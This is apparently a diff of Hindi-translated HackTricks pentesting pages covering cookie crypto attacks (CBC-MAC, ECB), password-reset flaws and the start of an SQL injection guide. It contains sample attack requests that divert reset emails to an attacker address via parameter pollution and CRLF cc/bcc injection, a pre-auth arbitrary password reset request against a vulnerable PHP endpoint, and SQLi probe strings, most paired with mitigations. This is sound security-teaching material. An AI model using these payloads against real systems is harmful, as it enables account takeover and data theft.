यह निष्पादन आपको कुकी को सही ढंग से एन्क्रिप्ट और एन्कोड करेगा जिसमें स्ट्रिंग **user=administrator** होगी।
|
||||
यह निष्पादन आपको सही तरीके से encrypted और encoded cookie देगा जिसमें स्ट्रिंग **user=administrator** मौजूद है।
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
शायद एक कुकी में कुछ मान हो सकता है और इसे CBC का उपयोग करके साइन किया जा सकता है। फिर, मान की अखंडता उस हस्ताक्षर द्वारा होती है जो उसी मान के साथ CBC का उपयोग करके बनाया गया है। चूंकि IV के रूप में एक शून्य वेक्टर का उपयोग करने की सिफारिश की जाती है, यह प्रकार की अखंडता जांच कमजोर हो सकती है।
|
||||
संभव है कि किसी cookie में कोई value हो और उसे CBC का उपयोग करके signed किया गया हो। तब उस value की integrity उस signature से तय होती है जो उसी value का उपयोग करके CBC से बनाई गई हो। चूँकि IV के लिए null vector का उपयोग करने की सलाह दी जाती है, इसलिए इस तरह की integrity checking कमजोर हो सकती है।
|
||||
|
||||
**हमला**
|
||||
**आक्रमण**
|
||||
|
||||
1. उपयोगकर्ता नाम का हस्ताक्षर प्राप्त करें **administ** = **t**
|
||||
2. उपयोगकर्ता नाम का हस्ताक्षर प्राप्त करें **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. कुकी में मान सेट करें **administrator+t'** (**t'** एक मान्य हस्ताक्षर होगा **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
1. username **administ** का signature प्राप्त करें = **t**
|
||||
2. username **rator\x00\x00\x00 XOR t** का signature प्राप्त करें = **t'**
|
||||
3. cookie में value **administrator+t'** सेट करें (**t'** **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** का valid signature होगा)
|
||||
|
||||
**ECB**
|
||||
|
||||
यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है, तो यह कमजोर हो सकता है।\
|
||||
जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है, वह हमेशा एक समान होनी चाहिए।
|
||||
यदि cookie को ECB का उपयोग करके encrypted किया गया है तो यह vulnerable हो सकता है.
|
||||
जब आप log in करते हैं तो जो cookie आपको मिलता है वह हमेशा वही होना चाहिए।
|
||||
|
||||
**कैसे पता करें और हमला करें:**
|
||||
How to detect and attack:
|
||||
|
||||
लगभग समान डेटा (उपयोगकर्ता नाम, पासवर्ड, ईमेल, आदि) के साथ 2 उपयोगकर्ता बनाएं और दिए गए कुकी के अंदर कुछ पैटर्न खोजने की कोशिश करें।
|
||||
Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
|
||||
|
||||
उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (चूंकि ECB हर ब्लॉक के लिए समान कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)।
|
||||
Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
|
||||
|
||||
एक पैटर्न होना चाहिए (एक उपयोग किए गए ब्लॉक के आकार के साथ)। इसलिए, यह जानकर कि "a" का एक समूह कैसे एन्क्रिप्ट किया गया है, आप एक उपयोगकर्ता नाम बना सकते हैं: "a"\*(ब्लॉक का आकार)+"admin"। फिर, आप कुकी से "a" के एक ब्लॉक के एन्क्रिप्टेड पैटर्न को हटा सकते हैं। और आपके पास उपयोगकर्ता नाम "admin" की कुकी होगी।
|
||||
There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- HTTP referer हेडर पासवर्ड रीसेट टोकन को लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब कोई उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद किसी तीसरे पक्ष की वेबसाइट लिंक पर क्लिक करता है।
|
||||
- **Impact**: Cross-Site Request Forgery (CSRF) हमलों के माध्यम से संभावित खाता अधिग्रहण।
|
||||
- **Exploitation**: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, **अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें** और प्रदान किए गए **रीसेट लिंक पर क्लिक करें**। **तुरंत अपना पासवर्ड न बदलें**। इसके बजाय, **Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए एक तीसरे पक्ष की वेबसाइट पर जाएं** (जैसे Facebook या Twitter)। जांचें कि क्या **referer हेडर में पासवर्ड रीसेट टोकन शामिल है**, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
|
||||
- The HTTP referer header may leak the password reset token if it's included in the URL. यह तब हो सकता है जब उपयोगकर्ता password reset request करने के बाद किसी तृतीय-पक्ष वेबसाइट के लिंक पर क्लिक करे।
|
||||
- **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
|
||||
- **Exploitation**: यह जाँचने के लिए कि क्या password reset token referer header में leak हो रहा है, अपने ईमेल पते पर **request a password reset** करें और दिए गए **reset link** पर **click** करें। तुरंत अपना पासवर्ड **change** न करें। इसके बजाय, **third-party website** (जैसे Facebook या Twitter) पर नेविगेट करें जबकि आप अनुरोधों को **intercepting the requests using Burp Suite** कर रहे हों। अनुरोधों का निरीक्षण करें कि क्या **referer header contains the password reset token**, क्योंकि इससे संवेदनशील जानकारी तृतीय पक्षों के सामने expose हो सकती है।
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
@ -14,164 +14,165 @@
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को हेरफेर कर सकते हैं ताकि रीसेट लिंक को एक दुर्भावनापूर्ण साइट पर इंगित किया जा सके।
|
||||
- **Impact**: हमलावरों को रीसेट टोकन लीक करके संभावित खाता अधिग्रहण की ओर ले जाता है।
|
||||
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||
- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
|
||||
- **Mitigation Steps**:
|
||||
- अनुमत डोमेन की व्हाइटलिस्ट के खिलाफ Host हेडर को मान्य करें।
|
||||
- पूर्ण URLs उत्पन्न करने के लिए सुरक्षित, सर्वर-साइड विधियों का उपयोग करें।
|
||||
- **Patch**: `$_SERVER['HTTP_HOST']` के बजाय पासवर्ड रीसेट URLs बनाने के लिए `$_SERVER['SERVER_NAME']` का उपयोग करें।
|
||||
- Host header को allowed domains की whitelist के खिलाफ validate करें।
|
||||
- Absolute URLs generate करने के लिए secure, server-side तरीकों का उपयोग करें।
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
हमलावर पासवर्ड रीसेट अनुरोध को अतिरिक्त ईमेल पैरामीटर जोड़कर रीसेट लिंक को मोड़ सकते हैं।
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
|
||||
- & का उपयोग करके दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
|
||||
- Attackers अपने ईमेल को अतिरिक्त parameter के रूप में जोड़कर reset link को divert कर सकते हैं।
|
||||
- Add attacker email as second parameter using &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- हमलावर का ईमेल दूसरे पैरामीटर के रूप में %20 का उपयोग करके जोड़ें
|
||||
दूसरे पैरामीटर के रूप में हमलावर का ईमेल %20 का उपयोग करके जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- हमलावर का ईमेल दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
|
||||
- attacker email को दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- हमलावर के ईमेल को दूसरे पैरामीटर के रूप में cc का उपयोग करके जोड़ें
|
||||
- cc का उपयोग करके attacker email को दूसरे पैरामीटर के रूप में जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- हमलावर के ईमेल को दूसरे पैरामीटर के रूप में bcc का उपयोग करके जोड़ें
|
||||
- bcc का उपयोग करके दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- हमलावर का ईमेल दूसरे पैरामीटर के रूप में जोड़ें, используя ,
|
||||
- attacker email को दूसरे पैरामीटर के रूप में , का उपयोग करके जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- JSON एरे में दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
|
||||
- json array में दूसरे पैरामीटर के रूप में attacker email जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Mitigation Steps**:
|
||||
- सर्वर-साइड पर ईमेल पैरामीटर को सही ढंग से पार्स और मान्य करें।
|
||||
- इंजेक्शन हमलों को रोकने के लिए तैयार किए गए बयानों या पैरामीटरयुक्त क्वेरी का उपयोग करें।
|
||||
- **References**:
|
||||
- **निवारण के कदम**:
|
||||
- Server-side पर email parameters को ठीक से parse और validate करें.
|
||||
- injection attacks को रोकने के लिए prepared statements या parameterized queries का उपयोग करें.
|
||||
- **संदर्भ**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Changing Email And Password of any User through API Parameters**
|
||||
## **API Parameters के माध्यम से किसी भी उपयोगकर्ता का Email और Password बदलना**
|
||||
|
||||
- हमलावर API अनुरोधों में ईमेल और पासवर्ड पैरामीटर को संशोधित कर सकते हैं ताकि खाता क्रेडेंशियल्स को बदल सकें।
|
||||
- हमलावर API requests में email और password parameters को modify करके account credentials बदल सकते हैं.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Mitigation Steps**:
|
||||
- सुनिश्चित करें कि पैरामीटर मान्यता और प्रमाणीकरण जांच सख्त हैं।
|
||||
- संदिग्ध गतिविधियों का पता लगाने और प्रतिक्रिया देने के लिए मजबूत लॉगिंग और निगरानी लागू करें।
|
||||
- **निवारण कदम**:
|
||||
- सुनिश्चित करें कि पैरामीटर वेलिडेशन और authentication चेक सख्ती से लागू हों।
|
||||
- संदिग्ध गतिविधियों का पता लगाने और उन पर प्रतिक्रिया देने के लिए मजबूत लॉगिंग और मॉनिटरिंग लागू करें।
|
||||
- **Reference**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- पासवर्ड रीसेट अनुरोधों पर दर सीमा की कमी ईमेल बमबारी का कारण बन सकती है, जिससे उपयोगकर्ता को रीसेट ईमेल से अभिभूत किया जा सकता है।
|
||||
- **Mitigation Steps**:
|
||||
- IP पते या उपयोगकर्ता खाते के आधार पर दर सीमा लागू करें।
|
||||
- स्वचालित दुरुपयोग को रोकने के लिए CAPTCHA चुनौतियों का उपयोग करें।
|
||||
- पासवर्ड रीसेट अनुरोधों पर rate limiting की कमी email bombing का कारण बन सकती है, जिससे उपयोगकर्ता reset ईमेलों से अभिभूत हो सकता है।
|
||||
- **निवारण कदम**:
|
||||
- IP address या user account के आधार पर rate limiting लागू करें।
|
||||
- ऑटोमेटेड दुरुपयोग रोकने के लिए CAPTCHA challenges का उपयोग करें।
|
||||
- **References**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या ब्रूट-फोर्सिंग में मदद मिल सकती है। कुछ विकल्प:
|
||||
- आधारित टाइमस्टैम्प
|
||||
- उपयोगकर्ता आईडी के आधार पर
|
||||
- उपयोगकर्ता के ईमेल के आधार पर
|
||||
- पहले नाम और अंतिम नाम के आधार पर
|
||||
- जन्म तिथि के आधार पर
|
||||
- क्रिप्टोग्राफी के आधार पर
|
||||
- **Mitigation Steps**:
|
||||
- टोकन जनरेशन के लिए मजबूत, क्रिप्टोग्राफिक विधियों का उपयोग करें।
|
||||
- भविष्यवाणी को रोकने के लिए पर्याप्त यादृता और लंबाई सुनिश्चित करें।
|
||||
- **Tools**: टोकनों की यादृता का विश्लेषण करने के लिए Burp Sequencer का उपयोग करें।
|
||||
- टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या brute-force करना संभव हो सकता है। कुछ विकल्प:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **निवारण कदम**:
|
||||
- टोकन जनरेशन के लिए मजबूत, cryptographic विधियों का उपयोग करें।
|
||||
- अनुमानयोग्यता रोकने के लिए पर्याप्त randomness और length सुनिश्चित करें।
|
||||
- **टूल्स**: Burp Sequencer का उपयोग करके टोकनों की randomness का विश्लेषण करें।
|
||||
|
||||
## **Guessable UUID**
|
||||
|
||||
- यदि UUIDs (संस्करण 1) अनुमानित या पूर्वानुमानित हैं, तो हमलावर उन्हें वैध रीसेट टोकन उत्पन्न करने के लिए ब्रूट-फोर्स कर सकते हैं। जांचें:
|
||||
- यदि UUIDs (version 1) अनुमानित या predictable हैं, तो attackers उन्हें brute-force करके वैध reset tokens जनरेट कर सकते हैं। जाँचें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Mitigation Steps**:
|
||||
- यादृता के लिए GUID संस्करण 4 का उपयोग करें या अन्य संस्करणों के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
|
||||
- **Tools**: GUIDs का विश्लेषण और उत्पन्न करने के लिए [guidtool](https://github.com/intruder-io/guidtool) का उपयोग करें।
|
||||
- **निवारण कदम**:
|
||||
- रैंडमनेस के लिए GUID version 4 का उपयोग करें या अन्य वर्ज़न के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
|
||||
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP प्रतिक्रियाओं में हेरफेर करना।
|
||||
- **Mitigation Steps**:
|
||||
- प्रतिक्रिया की अखंडता सुनिश्चित करने के लिए सर्वर-साइड जांच लागू करें।
|
||||
- मैन-इन-द-मिडल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
|
||||
- HTTP responses को बदलकर error messages या restrictions को bypass करना।
|
||||
- **निवारण कदम**:
|
||||
- response integrity सुनिश्चित करने के लिए server-side checks लागू करें।
|
||||
- man-in-the-middle attacks रोकने के लिए HTTPS जैसे secure communication channels का उपयोग करें।
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Using Expired Token**
|
||||
|
||||
- यह परीक्षण करना कि क्या समाप्त टोकन अभी भी पासवर्ड रीसेट के लिए उपयोग किए जा सकते हैं।
|
||||
- **Mitigation Steps**:
|
||||
- सख्त टोकन समाप्ति नीतियों को लागू करें और सर्वर-साइड पर टोकन की समाप्ति को मान्य करें।
|
||||
- यह परखें कि क्या expired tokens अभी भी password reset के लिए उपयोग किए जा सकते हैं।
|
||||
- **निवारण कदम**:
|
||||
- सख्त token expiration नीतियाँ लागू करें और token expiry को server-side पर validate करें।
|
||||
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- IP-आधारित दर सीमाओं को बायपास करने के लिए Burpsuite और IP-Rotator जैसे उपकरणों का उपयोग करके रीसेट टोकन को ब्रूट-फोर्स करने का प्रयास करना।
|
||||
- **Mitigation Steps**:
|
||||
- मजबूत दर-सीमित और खाता लॉकआउट तंत्र लागू करें।
|
||||
- ब्रूट-फोर्स हमलों के संकेतक के रूप में संदिग्ध गतिविधियों की निगरानी करें।
|
||||
- Burpsuite और IP-Rotator जैसे टूल्स का उपयोग करके reset token को brute-force करने का प्रयास, ताकि IP-based rate limits को bypass किया जा सके।
|
||||
- **निवारण कदम**:
|
||||
- मजबूत rate-limiting और account lockout मैकेनिज्म लागू करें।
|
||||
- brute-force हमलों के संकेत देने वाली संदिग्ध गतिविधियों की मॉनिटरिंग करें।
|
||||
|
||||
## **Try Using Your Token**
|
||||
|
||||
- यह परीक्षण करना कि क्या हमलावर का रीसेट टोकन पीड़ित के ईमेल के साथ उपयोग किया जा सकता है।
|
||||
- **Mitigation Steps**:
|
||||
- सुनिश्चित करें कि टोकन उपयोगकर्ता सत्र या अन्य उपयोगकर्ता-विशिष्ट विशेषताओं से बंधे हैं।
|
||||
- परखें कि क्या किसी attacker का reset token victim के ईमेल के साथ उपयोग किया जा सकता है।
|
||||
- **निवारण कदम**:
|
||||
- सुनिश्चित करें कि टोकन user session या अन्य user-specific attributes से बाउंड हों।
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- यह सुनिश्चित करना कि जब उपयोगकर्ता लॉगआउट या पासवर्ड रीसेट करता है तो सत्र अमान्य हो जाते हैं।
|
||||
- **Mitigation Steps**:
|
||||
- उचित सत्र प्रबंधन लागू करें, यह सुनिश्चित करते हुए कि सभी सत्र लॉगआउट या पासवर्ड रीसेट पर अमान्य हो जाएं।
|
||||
- यह सुनिश्चित करना कि जब उपयोगकर्ता logout करता है या password reset करता है तो sessions invalidated हों।
|
||||
- **निवारण कदम**:
|
||||
- proper session management लागू करें, यह सुनिश्चित करते हुए कि logout या password reset पर सभी sessions invalidated हो जाएँ।
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- रीसेट टोकनों का एक समाप्ति समय होना चाहिए जिसके बाद वे अमान्य हो जाते हैं।
|
||||
- **Mitigation Steps**:
|
||||
- रीसेट टोकनों के लिए एक उचित समाप्ति समय निर्धारित करें और इसे सर्वर-साइड पर सख्ती से लागू करें।
|
||||
- Reset tokens के पास एक expiration समय होना चाहिए जिसके बाद वे invalid हो जाएँ।
|
||||
- **निवारण कदम**:
|
||||
- reset tokens के लिए एक उचित expiration समय तय करें और इसे server-side सख्ती से लागू करें।
|
||||
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- यदि वेबसाइट उपयोगकर्ता सत्र का उपयोग गलत OTP प्रयासों को ट्रैक करने के लिए कर रही है और OTP कमजोर था (<= 4 अंक) तो हम प्रभावी रूप से OTP को ब्रूटफोर्स कर सकते हैं।
|
||||
- **exploitation**:
|
||||
- बस सर्वर द्वारा अवरुद्ध होने के बाद एक नया सत्र टोकन अनुरोध करें।
|
||||
- यदि वेबसाइट user session का उपयोग wrong OTP attempts को ट्रैक करने के लिए कर रही है और OTP कमजोर है (<= 4 digits) तो हम प्रभावी रूप से OTP को bruteforce कर सकते हैं।
|
||||
- **शोषण**:
|
||||
- सर्वर द्वारा ब्लॉक किए जाने के बाद बस एक नया session token request करें।
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
@ -231,8 +232,45 @@ except Exception as e:
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## References
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
कुछ implementations एक password change action को expose करते हैं जो password-change routine को skipOldPwdCheck=true के साथ कॉल करता है और किसी भी reset token या ownership को verify नहीं करता। यदि endpoint request body में change_password जैसे action parameter और username/new password स्वीकार करता है, तो एक attacker pre-auth arbitrary accounts reset कर सकता है।
|
||||
|
||||
कमजोर पैटर्न (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Exploitation request (अवधारणा):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
निवारक उपाय:
|
||||
- पासवर्ड बदलने से पहले हमेशा खाते और session से जुड़ा वैध, समय-सीमित reset token आवश्यक करें।
|
||||
- skipOldPwdCheck paths को अप्रमाणित उपयोगकर्ताओं के लिए कभी प्रकट न करें; नियमित पासवर्ड बदलाव के लिए प्रमाणीकरण लागू करें और पुराने पासवर्ड का सत्यापन करें।
|
||||
- पासवर्ड बदलने के बाद सभी सक्रिय sessions और reset tokens को अमान्य करें।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL इंजेक्शन क्या है?
|
||||
## SQL injection क्या है?
|
||||
|
||||
एक **SQL इंजेक्शन** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के **डेटाबेस क्वेरीज़ में हस्तक्षेप** करने की अनुमति देता है। यह भेद्यता हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती है, जो उन्हें एक्सेस नहीं करना चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।
|
||||
एक **SQL injection** एक सुरक्षा दोष है जो attackers को किसी application के database queries में हस्तक्षेप करने की अनुमति देता है। यह vulnerability attackers को ऐसे डेटा को **देखने (view)**, **परिवर्तित करने (modify)**, या **हटाने (delete)** में सक्षम बना सकती है जिन तक उनका पहुँच नहीं होनी चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे application एक्सेस कर सकता है। ऐसे कार्य application's फ़ंक्शनैलिटी या कंटेंट में स्थायी परिवर्तन कर सकते हैं या यहां तक कि server के compromise या denial of service का कारण बन सकते हैं।
|
||||
|
||||
## प्रवेश बिंदु पहचान
|
||||
## प्रवेश बिंदु का पता लगाना
|
||||
|
||||
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **संवेदनशील** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **प्रभावी ढंग से बचने** की विधि की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
|
||||
जब किसी साइट पर SQLi-related inputs के कारण server responses असामान्य दिखते हैं और साइट **vulnerable to SQL injection (SQLi)** प्रतीत होती है, तो **पहला कदम** यह समझना होता है कि query में बिना उसे बाधित किए डेटा कैसे **inject** किया जाए। इसके लिए वर्तमान context से प्रभावी रूप से **escape** करने की विधि पहचाननी आवश्यक होती है। ये कुछ उपयोगी उदाहरण हैं:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,11 +21,11 @@
|
||||
"))
|
||||
`))
|
||||
```
|
||||
फिर, आपको यह जानने की आवश्यकता है कि **क्वेरी को कैसे ठीक करें ताकि कोई त्रुटियाँ न हों**। क्वेरी को ठीक करने के लिए, आप **डेटा इनपुट** कर सकते हैं ताकि **पिछली क्वेरी नए डेटा को स्वीकार कर सके**, या आप बस **अपना डेटा इनपुट** कर सकते हैं और **अंत में एक टिप्पणी प्रतीक जोड़ सकते हैं**।
|
||||
फिर, आपको यह जानना होगा कि आप **query को कैसे ठीक करें ताकि errors न हों**। Query को ठीक करने के लिए आप **input** डेटा दे सकते हैं ताकि **previous query नए डेटा को स्वीकार कर ले**, या आप बस अपना **input** डालकर **line के अंत में comment symbol जोड़ सकते हैं**।
|
||||
|
||||
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं, तब आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
|
||||
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
|
||||
|
||||
### **टिप्पणियाँ**
|
||||
### **Comments**
|
||||
```sql
|
||||
MySQL
|
||||
#comment
|
||||
@ -51,23 +51,23 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Confirming with logical operations
|
||||
### तार्किक ऑपरेशनों के साथ पुष्टि
|
||||
|
||||
एक विश्वसनीय विधि SQL injection vulnerability की पुष्टि करने के लिए **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना शामिल है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को `?username=Peter' or '1'='1` में संशोधित करने पर समान सामग्री उत्पन्न होना SQL injection vulnerability का संकेत देता है।
|
||||
SQL injection vulnerability की पुष्टि करने का एक भरोसेमंद तरीका यह है कि एक **तार्किक ऑपरेशन** चलाया जाए और अपेक्षित परिणामों का अवलोकन किया जाए। उदाहरण के लिए, यदि GET parameter जैसे `?username=Peter` और `?username=Peter' or '1'='1` पर समान सामग्री मिलती है, तो यह SQL injection vulnerability का संकेत है।
|
||||
|
||||
